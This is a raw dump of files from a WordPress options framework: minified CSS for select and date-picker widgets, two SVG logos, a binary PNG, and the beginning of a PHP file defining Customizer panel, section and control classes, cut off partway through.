.chosen-drop{position:absolute;top:100%;z-index:1010;width:100%;border:1px solid #aaa;border-top:0;background:#fff;box-shadow:0 4px 5px rgba(0,0,0,.15);clip:rect(0,0,0,0);clip-path:inset(100% 100%)}.chosen-container.chosen-with-drop .chosen-drop{clip:auto;clip-path:none}.chosen-container a{cursor:pointer}.chosen-container .chosen-single .group-name,.chosen-container .search-choice .group-name{margin-right:4px;overflow:hidden;white-space:nowrap;text-overflow:ellipsis;font-weight:400;color:#999}.chosen-container .chosen-single .group-name:after,.chosen-container .search-choice .group-name:after{content:":";padding-left:2px;vertical-align:top}.chosen-container-single .chosen-single{position:relative;display:block;overflow:hidden;padding:0 0 0 8px;height:25px;border:1px solid #aaa;border-radius:0;background-color:#fff;background-clip:padding-box;color:#444;text-decoration:none;white-space:nowrap;line-height:24px}.chosen-container-single .chosen-default{color:#999}.chosen-container-single .chosen-single span{display:block;overflow:hidden;margin-right:26px;text-overflow:ellipsis;white-space:nowrap}.chosen-container-single .chosen-single-with-deselect span{margin-right:38px}.chosen-container-single .chosen-single abbr{position:absolute;top:6px;right:26px;display:block;width:12px;height:12px;font-size:1px}.chosen-container-single .chosen-single div{position:absolute;top:0;right:0;display:block;width:18px;height:100%}.chosen-container-single .chosen-single div b{display:block;width:100%;height:100%}.chosen-container-single .chosen-search{position:relative;z-index:1010;margin:0;padding:3px 4px;white-space:nowrap}.chosen-container-single .chosen-search input[type=text]{margin:1px 0;padding:4px 20px 4px 5px;width:100%;height:auto;outline:0;border:1px solid #aaa;font-size:1em;font-family:sans-serif;line-height:normal;border-radius:0}.chosen-container-single .chosen-drop{margin-top:-1px;border-radius:0;background-clip:padding-box}.chosen-container-single.chosen-container-single-nosearch .chosen-search{position:absolute;clip:rect(0,0,0,0);clip-path:inset(100% 100%)}.chosen-container .chosen-results{color:#444;position:relative;overflow-x:hidden;overflow-y:auto;margin:0 4px 4px 0;padding:0 0 0 4px;max-height:240px;-webkit-overflow-scrolling:touch}.chosen-container .chosen-results li{display:none;margin:0;padding:5px 6px;list-style:none;line-height:15px;word-wrap:break-word;-webkit-touch-callout:none}.chosen-container .chosen-results li.active-result{display:list-item;cursor:pointer}.chosen-container .chosen-results li.disabled-result{display:list-item;color:#ccc;cursor:default}.chosen-container .chosen-results li.highlighted{background-color:#3875d7;color:#fff}.chosen-container .chosen-results li.no-results{color:#777;display:list-item;background:#f4f4f4}.chosen-container .chosen-results li.group-result{display:list-item;font-weight:700;cursor:default}.chosen-container .chosen-results li.group-option{padding-left:15px}.chosen-container .chosen-results li em{font-style:normal;text-decoration:underline}.chosen-container-multi .chosen-choices{position:relative;overflow:hidden;margin:0;padding:0 5px;width:100%;height:auto;border:1px solid #aaa;background-color:#fff;cursor:text}.chosen-container-multi .chosen-choices li{float:left;list-style:none}.chosen-container-multi .chosen-choices li.search-field{margin:0;padding:0;white-space:nowrap}.chosen-container-multi .chosen-choices li.search-field input[type=text]{margin:1px 0;padding:0;outline:0;border:0!important;background:0 0!important;box-shadow:none;color:#999;font-size:100%;font-family:sans-serif;line-height:normal;border-radius:0;width:25px;height:36px;min-height:36px}.chosen-container-multi .chosen-choices li.search-choice{position:relative;margin:3px 5px 3px 0;padding:3px 20px 3px 6px;border:1px solid #aaa;max-width:100%;border-radius:0;background-color:#eee;background-size:100% 19px;background-repeat:repeat-x;background-clip:padding-box;box-shadow:0 0 2px #fff inset,0 1px 0 rgba(0,0,0,.05);color:#333;line-height:13px;cursor:default}.chosen-container-multi .chosen-choices li.search-choice span{word-wrap:break-word;white-space:nowrap}.chosen-container-multi .chosen-choices li.search-choice .search-choice-close{position:absolute;top:0;right:0;display:block;width:12px;height:12px;font-size:1px}.chosen-container-multi .chosen-choices li.search-choice-disabled{padding-right:5px;border:1px solid #ccc;background-color:#e4e4e4;color:#666}.chosen-container-multi .chosen-choices li.search-choice-focus{background:#d4d4d4}.chosen-container-multi .chosen-results{margin:0;padding:0}.chosen-container-multi .chosen-drop .result-selected{display:list-item;color:#ccc;cursor:default}.chosen-container-active .chosen-single{border:1px solid #5897fb;box-shadow:0 0 5px rgba(0,0,0,.3)}.chosen-container-active.chosen-with-drop .chosen-single{border:1px solid #aaa;border-bottom-right-radius:0;border-bottom-left-radius:0;box-shadow:0 1px 0 #fff inset}.chosen-container-active.chosen-with-drop .chosen-single div{border-left:none;background:0 0}.chosen-container-active .chosen-choices{border:1px solid #5897fb;box-shadow:0 0 5px rgba(0,0,0,.3)}.chosen-container-active .chosen-choices li.search-field input[type=text]{color:#222!important}.chosen-disabled{opacity:.5!important;cursor:default}.chosen-disabled .chosen-single{cursor:default}.chosen-disabled .chosen-choices .search-choice .search-choice-close{cursor:default}.chosen-rtl{text-align:right}.chosen-rtl .chosen-single{overflow:visible;padding:0 8px 0 0}.chosen-rtl .chosen-single span{margin-right:0;margin-left:26px;direction:rtl}.chosen-rtl .chosen-single-with-deselect span{margin-left:38px}.chosen-rtl .chosen-single div{right:auto;left:3px}.chosen-rtl .chosen-single abbr{right:auto;left:26px}.chosen-rtl .chosen-choices li{float:right}.chosen-rtl .chosen-choices li.search-field input[type=text]{direction:rtl}.chosen-rtl .chosen-choices li.search-choice{margin:3px 5px 3px 0;padding:3px 5px 3px 19px}.chosen-rtl .chosen-choices li.search-choice .search-choice-close{right:auto;left:4px}.chosen-rtl.chosen-container-single .chosen-results{margin:0 0 4px 4px;padding:0 4px 0 0}.chosen-rtl .chosen-results li.group-option{padding-right:15px;padding-left:0}.chosen-rtl.chosen-container-active.chosen-with-drop .chosen-single div{border-right:none}.chosen-rtl .chosen-search input[type=text]{padding:4px 5px 4px 20px;direction:rtl}.flatpickr-calendar{background:0 0;opacity:0;display:none;text-align:center;visibility:hidden;padding:0;-webkit-animation:none;animation:none;direction:ltr;border:0;font-size:14px;line-height:24px;border-radius:0;position:absolute;width:307.875px;-webkit-box-sizing:border-box;box-sizing:border-box;-ms-touch-action:manipulation;touch-action:manipulation;background:#fff;-webkit-box-shadow:1px 0 0 #e6e6e6,-1px 0 0 #e6e6e6,0 1px 0 #e6e6e6,0 -1px 0 #e6e6e6,0 3px 13px rgba(0,0,0,.08);box-shadow:1px 0 0 #e6e6e6,-1px 0 0 #e6e6e6,0 1px 0 #e6e6e6,0 -1px 0 #e6e6e6,0 3px 13px rgba(0,0,0,.08)}.flatpickr-calendar.inline,.flatpickr-calendar.open{opacity:1;max-height:640px;visibility:visible}.flatpickr-calendar.open{display:inline-block;z-index:99999}.flatpickr-calendar.animate.open{-webkit-animation:fpFadeInDown .3s cubic-bezier(.23,1,.32,1);animation:fpFadeInDown .3s cubic-bezier(.23,1,.32,1)}.flatpickr-calendar.inline{display:block;position:relative;top:2px}.flatpickr-calendar.static{position:absolute;top:calc(100% + 2px)}.flatpickr-calendar.static.open{z-index:999;display:block}.flatpickr-calendar.multiMonth .flatpickr-days .dayContainer:nth-child(n+1) .flatpickr-day.inRange:nth-child(7n+7){-webkit-box-shadow:none!important;box-shadow:none!important}.flatpickr-calendar.multiMonth .flatpickr-days .dayContainer:nth-child(n+2) .flatpickr-day.inRange:nth-child(7n+1){-webkit-box-shadow:-2px 0 0 #e6e6e6,5px 0 0 #e6e6e6;box-shadow:-2px 0 0 #e6e6e6,5px 0 0 #e6e6e6}.flatpickr-calendar .hasTime .dayContainer,.flatpickr-calendar .hasWeeks .dayContainer{border-bottom:0;border-bottom-right-radius:0;border-bottom-left-radius:0}.flatpickr-calendar .hasWeeks .dayContainer{border-left:0}.flatpickr-calendar.hasTime .flatpickr-time{height:40px;border-top:1px solid #e6e6e6}.flatpickr-calendar.noCalendar.hasTime .flatpickr-time{height:auto}.flatpickr-calendar:after,.flatpickr-calendar:before{position:absolute;display:block;pointer-events:none;border:solid transparent;content:"";height:0;width:0;left:22px}.flatpickr-calendar.arrowRight:after,.flatpickr-calendar.arrowRight:before,.flatpickr-calendar.rightMost:after,.flatpickr-calendar.rightMost:before{left:auto;right:22px}.flatpickr-calendar.arrowCenter:after,.flatpickr-calendar.arrowCenter:before{left:50%;right:50%}.flatpickr-calendar:before{border-width:5px;margin:0 -5px}.flatpickr-calendar:after{border-width:4px;margin:0 -4px}.flatpickr-calendar.arrowTop:after,.flatpickr-calendar.arrowTop:before{bottom:100%}.flatpickr-calendar.arrowTop:before{border-bottom-color:#e6e6e6}.flatpickr-calendar.arrowTop:after{border-bottom-color:#fff}.flatpickr-calendar.arrowBottom:after,.flatpickr-calendar.arrowBottom:before{top:100%}.flatpickr-calendar.arrowBottom:before{border-top-color:#e6e6e6}.flatpickr-calendar.arrowBottom:after{border-top-color:#fff}.flatpickr-calendar:focus{outline:0}.flatpickr-wrapper{position:relative;display:inline-block}.flatpickr-months{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex}.flatpickr-months .flatpickr-month{background:0 0;color:rgba(0,0,0,.9);fill:rgba(0,0,0,.9);height:34px;line-height:1;text-align:center;position:relative;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;overflow:hidden;-webkit-box-flex:1;-webkit-flex:1;-ms-flex:1;flex:1}.flatpickr-months .flatpickr-next-month,.flatpickr-months .flatpickr-prev-month{text-decoration:none;cursor:pointer;position:absolute;top:0;height:34px;padding:10px;z-index:3;color:rgba(0,0,0,.9);fill:rgba(0,0,0,.9)}.flatpickr-months .flatpickr-next-month.flatpickr-disabled,.flatpickr-months .flatpickr-prev-month.flatpickr-disabled{display:none}.flatpickr-months .flatpickr-next-month i,.flatpickr-months .flatpickr-prev-month i{position:relative}.flatpickr-months .flatpickr-next-month.flatpickr-prev-month,.flatpickr-months .flatpickr-prev-month.flatpickr-prev-month{left:0}.flatpickr-months .flatpickr-next-month.flatpickr-next-month,.flatpickr-months .flatpickr-prev-month.flatpickr-next-month{right:0}.flatpickr-months .flatpickr-next-month:hover,.flatpickr-months .flatpickr-prev-month:hover{color:#959ea9}.flatpickr-months .flatpickr-next-month:hover svg,.flatpickr-months .flatpickr-prev-month:hover svg{fill:#f64747}.flatpickr-months .flatpickr-next-month svg,.flatpickr-months .flatpickr-prev-month svg{width:14px;height:14px}.flatpickr-months .flatpickr-next-month svg path,.flatpickr-months .flatpickr-prev-month svg path{-webkit-transition:fill .1s;transition:fill .1s;fill:inherit}.numInputWrapper{position:relative;height:auto}.numInputWrapper input,.numInputWrapper span{display:inline-block}.numInputWrapper input{width:100%}.numInputWrapper input::-ms-clear{display:none}.numInputWrapper input::-webkit-inner-spin-button,.numInputWrapper input::-webkit-outer-spin-button{margin:0;-webkit-appearance:none}.numInputWrapper span{position:absolute;right:0;width:14px;padding:0 4px 0 2px;height:50%;line-height:50%;opacity:0;cursor:pointer;border:1px solid rgba(57,57,57,.15);-webkit-box-sizing:border-box;box-sizing:border-box}.numInputWrapper span:hover{background:rgba(0,0,0,.1)}.numInputWrapper span:active{background:rgba(0,0,0,.2)}.numInputWrapper span:after{display:block;content:"";position:absolute}.numInputWrapper span.arrowUp{top:0;border-bottom:0}.numInputWrapper span.arrowUp:after{border-left:4px solid transparent;border-right:4px solid transparent;border-bottom:4px solid rgba(57,57,57,.6);top:26%}.numInputWrapper span.arrowDown{top:50%}.numInputWrapper span.arrowDown:after{border-left:4px solid transparent;border-right:4px solid transparent;border-top:4px solid rgba(57,57,57,.6);top:40%}.numInputWrapper span svg{width:inherit;height:auto}.numInputWrapper span svg path{fill:rgba(0,0,0,.5)}.numInputWrapper:hover{background:rgba(0,0,0,.05)}.numInputWrapper:hover span{opacity:1}.flatpickr-current-month{font-size:135%;line-height:inherit;font-weight:300;color:inherit;position:absolute;width:75%;left:12.5%;padding:7.48px 0 0 0;line-height:1;height:34px;display:inline-block;text-align:center;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}.flatpickr-current-month span.cur-month{font-family:inherit;font-weight:700;color:inherit;display:inline-block;margin-left:.5ch;padding:0}.flatpickr-current-month span.cur-month:hover{background:rgba(0,0,0,.05)}.flatpickr-current-month .numInputWrapper{width:6ch;display:inline-block}.flatpickr-current-month .numInputWrapper span.arrowUp:after{border-bottom-color:rgba(0,0,0,.9)}.flatpickr-current-month .numInputWrapper span.arrowDown:after{border-top-color:rgba(0,0,0,.9)}.flatpickr-current-month input.cur-year{background:0 0;-webkit-box-sizing:border-box;box-sizing:border-box;color:inherit;cursor:text;padding:0 0 0 .5ch;margin:0;display:inline-block;font-size:inherit;font-family:inherit;font-weight:300;line-height:inherit;height:auto;border:0;border-radius:0;vertical-align:initial;-webkit-appearance:textfield;-moz-appearance:textfield;appearance:textfield}.flatpickr-current-month input.cur-year:focus{outline:0}.flatpickr-current-month input.cur-year[disabled],.flatpickr-current-month input.cur-year[disabled]:hover{font-size:100%;color:rgba(0,0,0,.5);background:0 0;pointer-events:none}.flatpickr-current-month .flatpickr-monthDropdown-months{appearance:menulist;background:0 0;border:none;border-radius:0;box-sizing:border-box;color:inherit;cursor:pointer;font-size:inherit;font-family:inherit;font-weight:300;height:auto;line-height:inherit;margin:-1px 0 0 0;outline:0;padding:0 0 0 .5ch;position:relative;vertical-align:initial;-webkit-box-sizing:border-box;-webkit-appearance:menulist;-moz-appearance:menulist;width:auto}.flatpickr-current-month .flatpickr-monthDropdown-months:active,.flatpickr-current-month .flatpickr-monthDropdown-months:focus{outline:0}.flatpickr-current-month .flatpickr-monthDropdown-months:hover{background:rgba(0,0,0,.05)}.flatpickr-current-month .flatpickr-monthDropdown-months .flatpickr-monthDropdown-month{background-color:transparent;outline:0;padding:0}.flatpickr-weekdays{background:0 0;text-align:center;overflow:hidden;width:100%;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;height:28px}.flatpickr-weekdays .flatpickr-weekdaycontainer{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-flex:1;-webkit-flex:1;-ms-flex:1;flex:1}span.flatpickr-weekday{cursor:default;font-size:90%;background:0 0;color:rgba(0,0,0,.54);line-height:1;margin:0;text-align:center;display:block;-webkit-box-flex:1;-webkit-flex:1;-ms-flex:1;flex:1;font-weight:bolder}.dayContainer,.flatpickr-weeks{padding:1px 0 0 0}.flatpickr-days{position:relative;overflow:hidden;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-align:start;-webkit-align-items:flex-start;-ms-flex-align:start;align-items:flex-start;width:307.875px}.flatpickr-days:focus{outline:0}.dayContainer{padding:0;outline:0;text-align:left;width:307.875px;min-width:307.875px;max-width:307.875px;-webkit-box-sizing:border-box;box-sizing:border-box;display:inline-block;display:-ms-flexbox;display:-webkit-box;display:-webkit-flex;display:flex;-webkit-flex-wrap:wrap;flex-wrap:wrap;-ms-flex-wrap:wrap;-ms-flex-pack:justify;-webkit-justify-content:space-around;justify-content:space-around;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0);opacity:1}.dayContainer+.dayContainer{-webkit-box-shadow:-1px 0 0 #e6e6e6;box-shadow:-1px 0 0 #e6e6e6}.flatpickr-day{background:0 0;border:1px solid transparent;border-radius:150px;-webkit-box-sizing:border-box;box-sizing:border-box;color:#393939;cursor:pointer;font-weight:400;width:14.2857143%;-webkit-flex-basis:14.2857143%;-ms-flex-preferred-size:14.2857143%;flex-basis:14.2857143%;max-width:39px;height:39px;line-height:39px;margin:0;display:inline-block;position:relative;-webkit-box-pack:center;-webkit-justify-content:center;-ms-flex-pack:center;justify-content:center;text-align:center}.flatpickr-day.inRange,.flatpickr-day.nextMonthDay.inRange,.flatpickr-day.nextMonthDay.today.inRange,.flatpickr-day.nextMonthDay:focus,.flatpickr-day.nextMonthDay:hover,.flatpickr-day.prevMonthDay.inRange,.flatpickr-day.prevMonthDay.today.inRange,.flatpickr-day.prevMonthDay:focus,.flatpickr-day.prevMonthDay:hover,.flatpickr-day.today.inRange,.flatpickr-day:focus,.flatpickr-day:hover{cursor:pointer;outline:0;background:#e6e6e6;border-color:#e6e6e6}.flatpickr-day.today{border-color:#959ea9}.flatpickr-day.today:focus,.flatpickr-day.today:hover{border-color:#959ea9;background:#959ea9;color:#fff}.flatpickr-day.endRange,.flatpickr-day.endRange.inRange,.flatpickr-day.endRange.nextMonthDay,.flatpickr-day.endRange.prevMonthDay,.flatpickr-day.endRange:focus,.flatpickr-day.endRange:hover,.flatpickr-day.selected,.flatpickr-day.selected.inRange,.flatpickr-day.selected.nextMonthDay,.flatpickr-day.selected.prevMonthDay,.flatpickr-day.selected:focus,.flatpickr-day.selected:hover,.flatpickr-day.startRange,.flatpickr-day.startRange.inRange,.flatpickr-day.startRange.nextMonthDay,.flatpickr-day.startRange.prevMonthDay,.flatpickr-day.startRange:focus,.flatpickr-day.startRange:hover{background:#569ff7;-webkit-box-shadow:none;box-shadow:none;color:#fff;border-color:#569ff7}.flatpickr-day.endRange.startRange,.flatpickr-day.selected.startRange,.flatpickr-day.startRange.startRange{border-radius:50px 0 0 50px}.flatpickr-day.endRange.endRange,.flatpickr-day.selected.endRange,.flatpickr-day.startRange.endRange{border-radius:0 50px 50px 0}.flatpickr-day.endRange.startRange+.endRange:not(:nth-child(7n+1)),.flatpickr-day.selected.startRange+.endRange:not(:nth-child(7n+1)),.flatpickr-day.startRange.startRange+.endRange:not(:nth-child(7n+1)){-webkit-box-shadow:-10px 0 0 #569ff7;box-shadow:-10px 0 0 #569ff7}.flatpickr-day.endRange.startRange.endRange,.flatpickr-day.selected.startRange.endRange,.flatpickr-day.startRange.startRange.endRange{border-radius:50px}.flatpickr-day.inRange{border-radius:0;-webkit-box-shadow:-5px 0 0 #e6e6e6,5px 0 0 #e6e6e6;box-shadow:-5px 0 0 #e6e6e6,5px 0 0 #e6e6e6}.flatpickr-day.flatpickr-disabled,.flatpickr-day.flatpickr-disabled:hover,.flatpickr-day.nextMonthDay,.flatpickr-day.notAllowed,.flatpickr-day.notAllowed.nextMonthDay,.flatpickr-day.notAllowed.prevMonthDay,.flatpickr-day.prevMonthDay{color:rgba(57,57,57,.3);background:0 0;border-color:transparent;cursor:default}.flatpickr-day.flatpickr-disabled,.flatpickr-day.flatpickr-disabled:hover{cursor:not-allowed;color:rgba(57,57,57,.1)}.flatpickr-day.week.selected{border-radius:0;-webkit-box-shadow:-5px 0 0 #569ff7,5px 0 0 #569ff7;box-shadow:-5px 0 0 #569ff7,5px 0 0 #569ff7}.flatpickr-day.hidden{visibility:hidden}.rangeMode .flatpickr-day{margin-top:1px}.flatpickr-weekwrapper{float:left}.flatpickr-weekwrapper .flatpickr-weeks{padding:0 12px;-webkit-box-shadow:1px 0 0 #e6e6e6;box-shadow:1px 0 0 #e6e6e6}.flatpickr-weekwrapper .flatpickr-weekday{float:none;width:100%;line-height:28px}.flatpickr-weekwrapper span.flatpickr-day,.flatpickr-weekwrapper span.flatpickr-day:hover{display:block;width:100%;max-width:none;color:rgba(57,57,57,.3);background:0 0;cursor:default;border:none}.flatpickr-innerContainer{display:block;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-sizing:border-box;box-sizing:border-box;overflow:hidden}.flatpickr-rContainer{display:inline-block;padding:0;-webkit-box-sizing:border-box;box-sizing:border-box}.flatpickr-time{text-align:center;outline:0;display:block;height:0;line-height:40px;max-height:40px;-webkit-box-sizing:border-box;box-sizing:border-box;overflow:hidden;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex}.flatpickr-time:after{content:"";display:table;clear:both}.flatpickr-time .numInputWrapper{-webkit-box-flex:1;-webkit-flex:1;-ms-flex:1;flex:1;width:40%;height:40px;float:left}.flatpickr-time .numInputWrapper span.arrowUp:after{border-bottom-color:#393939}.flatpickr-time .numInputWrapper span.arrowDown:after{border-top-color:#393939}.flatpickr-time.hasSeconds .numInputWrapper{width:26%}.flatpickr-time.time24hr .numInputWrapper{width:49%}.flatpickr-time input{background:0 0;-webkit-box-shadow:none;box-shadow:none;border:0;border-radius:0;text-align:center;margin:0;padding:0;height:inherit;line-height:inherit;color:#393939;font-size:14px;position:relative;-webkit-box-sizing:border-box;box-sizing:border-box;-webkit-appearance:textfield;-moz-appearance:textfield;appearance:textfield}.flatpickr-time input.flatpickr-hour{font-weight:700}.flatpickr-time input.flatpickr-minute,.flatpickr-time input.flatpickr-second{font-weight:400}.flatpickr-time input:focus{outline:0;border:0}.flatpickr-time .flatpickr-am-pm,.flatpickr-time .flatpickr-time-separator{height:inherit;float:left;line-height:inherit;color:#393939;font-weight:700;width:2%;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;-webkit-align-self:center;-ms-flex-item-align:center;align-self:center}.flatpickr-time .flatpickr-am-pm{outline:0;width:18%;cursor:pointer;text-align:center;font-weight:400}.flatpickr-time .flatpickr-am-pm:focus,.flatpickr-time .flatpickr-am-pm:hover,.flatpickr-time input:focus,.flatpickr-time input:hover{background:#eee}.flatpickr-input[readonly]{cursor:pointer}@-webkit-keyframes fpFadeInDown{from{opacity:0;-webkit-transform:translate3d(0,-20px,0);transform:translate3d(0,-20px,0)}to{opacity:1;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}}@keyframes fpFadeInDown{from{opacity:0;-webkit-transform:translate3d(0,-20px,0);transform:translate3d(0,-20px,0)}to{opacity:1;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}}.csf-field-sizes input{border-radius:0}.csf-buttons .button.csf-reset-section{border-color:#c6ba0b;background:#c6ba0b;color:#fff}body .csf-theme-light .csf-nav ul li .csf-active:after{content:"\f054";display:inline-block;font-family:"Font Awesome 5 Pro","Font Awesome 5 Free",FontAwesome;font-weight:900;font-size:9px;line-height:1;position:absolute;right:12px;top:50%;margin-top:-4px}.csf-tab-item.csf-tab-expanded{background:#000}PK     N\\    /  inc/options/framework/assets/images/wp-logo.svgnu [        <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 20 20"><rect x="0" fill="none" width="20" height="20"/><g><g fill="#fff"><path d="M20 10c0-5.52-4.48-10-10-10S0 4.48 0 10s4.48 10 10 10 10-4.48 10-10zM10 1.01c4.97 0 8.99 4.02 8.99 8.99s-4.02 8.99-8.99 8.99S1.01 14.97 1.01 10 5.03 1.01 10 1.01zM8.01 14.82L4.96 6.61c.49-.03 1.05-.08 1.05-.08.43-.05.38-1.01-.06-.99 0 0-1.29.1-2.13.1-.15 0-.33 0-.52-.01 1.44-2.17 3.9-3.6 6.7-3.6 2.09 0 3.99.79 5.41 2.09-.6-.08-1.45.35-1.45 1.42 0 .66.38 1.22.79 1.88.31.54.5 1.22.5 2.21 0 1.34-1.27 4.48-1.27 4.48l-2.71-7.5c.48-.03.75-.16.75-.16.43-.05.38-1.1-.05-1.08 0 0-1.3.11-2.14.11-.78 0-2.11-.11-2.11-.11-.43-.02-.48 1.06-.05 1.08l.84.08 1.12 3.04zm6.02 2.15L16.64 10s.67-1.69.39-3.81c.63 1.14.94 2.42.94 3.81 0 2.96-1.56 5.58-3.94 6.97zM2.68 6.77L6.5 17.25c-2.67-1.3-4.47-4.08-4.47-7.25 0-1.16.2-2.23.65-3.23zm7.45 4.53l2.29 6.25c-.75.27-1.57.42-2.42.42-.72 0-1.41-.11-2.06-.3z"/></g></g></svg>
PK     N\
:$	  $	  4  inc/options/framework/assets/images/checkerboard.pngnu [        PNG

   IHDR            tEXtSoftware Adobe ImageReadyqe<  "iTXtXML:com.adobe.xmp     <?xpacket begin="﻿" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)" xmpMM:InstanceID="xmp.iid:6CDAD4838EA411E4A18BE7A93EE984AD" xmpMM:DocumentID="xmp.did:6CDAD4848EA411E4A18BE7A93EE984AD"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:6CDAD4818EA411E4A18BE7A93EE984AD" stRef:documentID="xmp.did:6CDAD4828EA411E4A18BE7A93EE984AD"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>  IDATxڬ[GuA9%>DD"""IzHDD!=۽뜽;3ϜqϏlr~~J"2\ggg-Ds>ҷ:g~mtt}koooSOnL>=m۹SǙ~%;;;BgJEd[[[5>z^__gذxu^[[+kWiK'}d>KKK5yS NvgT+~ʾ5P+R[*ߵPLDY7Ƿ5({
ښ{ >[cj2ʆ^M0/BYb4ea(mCR@ưP(kh}r]Zih$]X rF	X`3Hc[-@Xu8 Zk!q<(F(DwQ )^z?Dt7dDhx-DИxǳ$	1F"WJ$ O<H24u`ܮ)uPܺ&&b@JCbJ1æ`iZ˄໪ 0zlH8$ĦyJz*@`=`$!UOC+62ĒnB ~/ƌbh	V
ZV4a+kx%=#LL5"ٴde0P%@pB:8&Aj+vfq@%"^H@f w=@BVyDWQ^ab8WӲRjnAgZ$:>>JM*nnakP5~_+}P+E|-ޕGۙQRw///<fx{{O`>tZmSI뫻ǥ<N.//
=y)oCZA1 cZϳY$0:ֽڄ΍#(knJ#{}8 d,䤏fT1r26O00Qb	q=40VR`d4M@!(%dIz3@{hM@Exa1{2 LJj}*M3P2քXPFyEôچ0gT+!%ѴiT;fO@ϙT*CZv-
hdWԱbĨ0	ld|X"A+ލt+ԌM0gmp &ĝ,G2ʣ:< B[!d>׉A<,>z&@ubdI"J6s 	d-wtFSr䄲o2 mQ(5"
qB$/;"@ N)q	-aY}&奈dO1ha ֈbћ' RHU+    IENDB`PK     N\b    6  inc/options/framework/assets/images/wp-plugin-logo.svgnu [        <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 20 20"><rect x="0" fill="none" width="20" height="20"/><g><g fill="#fff"><path d="M13.11 4.36L9.87 7.6 8 5.73l3.24-3.24c.35-.34 1.05-.2 1.56.32.52.51.66 1.21.31 1.55zm-8 1.77l.91-1.12 9.01 9.01-1.19.84c-.71.71-2.63 1.16-3.82 1.16H6.14L4.9 17.26c-.59.59-1.54.59-2.12 0-.59-.58-.59-1.53 0-2.12l1.24-1.24v-3.88c0-1.13.4-3.19 1.09-3.89zm7.26 3.97l3.24-3.24c.34-.35 1.04-.21 1.55.31.52.51.66 1.21.31 1.55l-3.24 3.25z"/></g></g></svg>
PK     N\JuO  O  -  inc/options/framework/functions/customize.phpnu [        <?php if ( ! defined( 'ABSPATH' ) ) { die; } // Cannot access directly.
/**
 *
 * WP Customize custom panel
 *
 * @since 1.0.0
 * @version 1.0.0
 *
 */
if ( ! class_exists( 'WP_Customize_Panel_CSF' ) && class_exists( 'WP_Customize_Panel' ) ) {
  class WP_Customize_Panel_CSF extends WP_Customize_Panel {
    public $type = 'csf';
  }
}

/**
 *
 * WP Customize custom section
 *
 * @since 1.0.0
 * @version 1.0.0
 *
 */
if ( ! class_exists( 'WP_Customize_Section_CSF' ) && class_exists( 'WP_Customize_Section' ) ) {
  class WP_Customize_Section_CSF extends WP_Customize_Section {
    public $type = 'csf';
  }
}

/**
 *
 * WP Customize custom control
 *
 * @since 1.0.0
 * @version 1.0.0
 *
 */
if ( ! class_exists( 'WP_Customize_Control_CSF' ) && class_exists( 'WP_Customize_Control' ) ) {
  class WP_Customize_Control_CSF extends WP_Customize_Control {

    public $type   = 'csf';
    public $field  = '';
    public $unique = '';

    public function render() {

      $depend  = '';
      $visible = '';

      if ( ! empty( $this->field['dependency'] ) ) {

        $dependency      = $this->field['dependency'];
        $depend_visible  = '';
        $data_controller = '';
        $data_condition  = '';
        $data_value      = '';
        $data_global     = '';

        if ( is_array( $dependency[0] ) ) {
          $data_controller = implode( '|', array_column( $dependency, 0 ) );
          $data_condition  = implode( '|', array_column( $dependency, 1 ) );
          $data_value      = implode( '|', array_column( $dependency, 2 ) );
          $data_global     = implode( '|', array_column( $dependency, 3 ) );
          $depend_visible  = implode( '|', array_column( $dependency, 4 ) );
        } else {
          $data_controller = ( ! empty( $dependency[0] ) ) ? $dependency[0] : '';
          $data_condition  = ( ! empty( $dependency[1] ) ) ? $dependency[1] : '';
          $data_value      = ( ! empty( $dependency[2] ) ) ? $dependency[2] : '';
          $data_global     = ( ! empty( $dependency[3] ) ) ? $dependency[3] : '';
          $depend_visible  = ( ! empty( $dependency[4] ) ) ? $dependency[4] : '';
        }

        $depend .= ' data-controller="'. esc_attr( $data_controller ) .'"';
        $depend .= ' data-condition="'. esc_attr( $data_condition ) .'"';
        $depend .= ' data-value="'. esc_attr( $data_value ) .'"';
        $depend .= ( ! empty( $data_global ) ) ? ' data-depend-global="true"' : '';

        $visible  = ' csf-dependency-control';
        $visible .= ( ! empty( $depend_visible ) ) ? ' csf-depend-visible' : ' csf-depend-hidden';

      }

      $id    = 'customize-control-' . str_replace( array( '[', ']' ), array( '-', '' ), $this->id );
      $class = 'customize-control customize-control-'. $this->type . $visible;

      echo '<li id="'. esc_attr( $id ) .'" class="'. esc_attr( $class ) .'"'. $depend .'>';
      $this->render_field_content();
      echo '</li>';

    }

    public function render_field_content() {

      $complex = apply_filters( 'csf_customize_complex_fields', array(
        'accordion',
        'background',
        'border',
        'button_set',
        'checkbox',
        'color_group',
        'date',
        'dimensions',
        'fieldset',
        'group',
        'image_select',
        'link',
        'link_color',
        'media',
        'palette',
        'repeater',
        'sortable',
        'sorter',
        'spacing',
        'switcher',
        'tabbed',
        'typography'
      ) );

      $field_id   = ( ! empty( $this->field['id'] ) ) ? $this->field['id'] : '';
